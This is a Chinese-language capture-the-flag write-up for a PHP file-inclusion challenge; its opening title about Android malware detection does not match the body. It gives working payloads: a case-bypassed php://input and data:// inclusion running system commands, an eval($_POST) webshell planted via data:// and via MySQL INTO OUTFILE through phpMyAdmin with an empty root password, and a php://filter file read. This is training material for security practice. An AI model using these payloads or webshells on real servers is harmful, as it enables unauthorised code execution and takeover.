基於許可權的安卓惡意軟體檢測
Web_php_include
思路
審計程式碼
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
可以看到這裡直接include($page),$page引數我們可以進行控制,並且用的是str_replace()函式進行過濾,當匹配到php://
時就把該部分替換為空,我們可以用別的協議進行繞過,也可大小寫
注意這裡有個while迴圈,故單純的用phphp://p://
是無法進行繞過的
思路一
利用php://input協議
雖然過濾了php://,但是我們可以通過大小寫繞過
構造payload
?page=Php://input
POST_DATA:<?php system('ls') ?>
然後得到目錄
再在
POST_DATA:<?php system('cat fl4gisisish3r3.php'); ?>
得到flag
這裡如果利用hackbar,可能post包會交不上去,也不知道為啥,在執行cat檔案時,flag並不會顯示在頁面上,要檢視原始碼才能看到,這是為啥,也不清楚。。
思路二
利用data協議
構造payload
?page=data://text/plain,<?php system('ls'); ?>
?page=data://text/plain,<?php system('cat fl4gisisish3r3.php'); ?>
這裡直接在url上執行,用bp的時候不知道為什麼執行不了,但是換個編碼就行了,不知道為啥,一腦迷
也可以直接用data協議掛馬
?page=data://text/plain,%3C?php%20@eval($_POST[%27hacker%27]);%20?%3E
直接往蟻劍上貼上
http://220.249.52.133:53841/?page=data://text/plain,%3C?php%20@eval($_POST[%27hacker%27]);%20?%3E
密碼hacker,就連上了後臺
思路三
?page=Php://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php
再base64解碼下
思路四
用dirsearch掃一下,發現有phpmyadmin檔案
進去之後,賬號root,密碼為空(可能預設這樣)
然後在sql語句中執行
show variables like "secure_file_priv"
- 當secure_file_priv的值為null ,表示限制mysqld 不允許匯入|匯出
- 當secure_file_priv的值為/tmp/ ,表示限制mysqld 的匯入|匯出只能發生在/tmp/目錄下
- 當secure_file_priv的值沒有具體值時,表示不對mysqld 的匯入|匯出做限制
查詢為空,說明可以匯入和匯出檔案
執行
select "<?php @eval($_POST['hacker']); ?>" into outfile '/tmp/hacker.php'
便可在/tmp下找到小馬,Linux下一般/tmp文間夾下允許匯入檔案,如果換成其他資料夾就會報錯,然後蟻劍連線。
上述特舒情況,用php://input最好用bp,用data協議就直接在url上輸入就行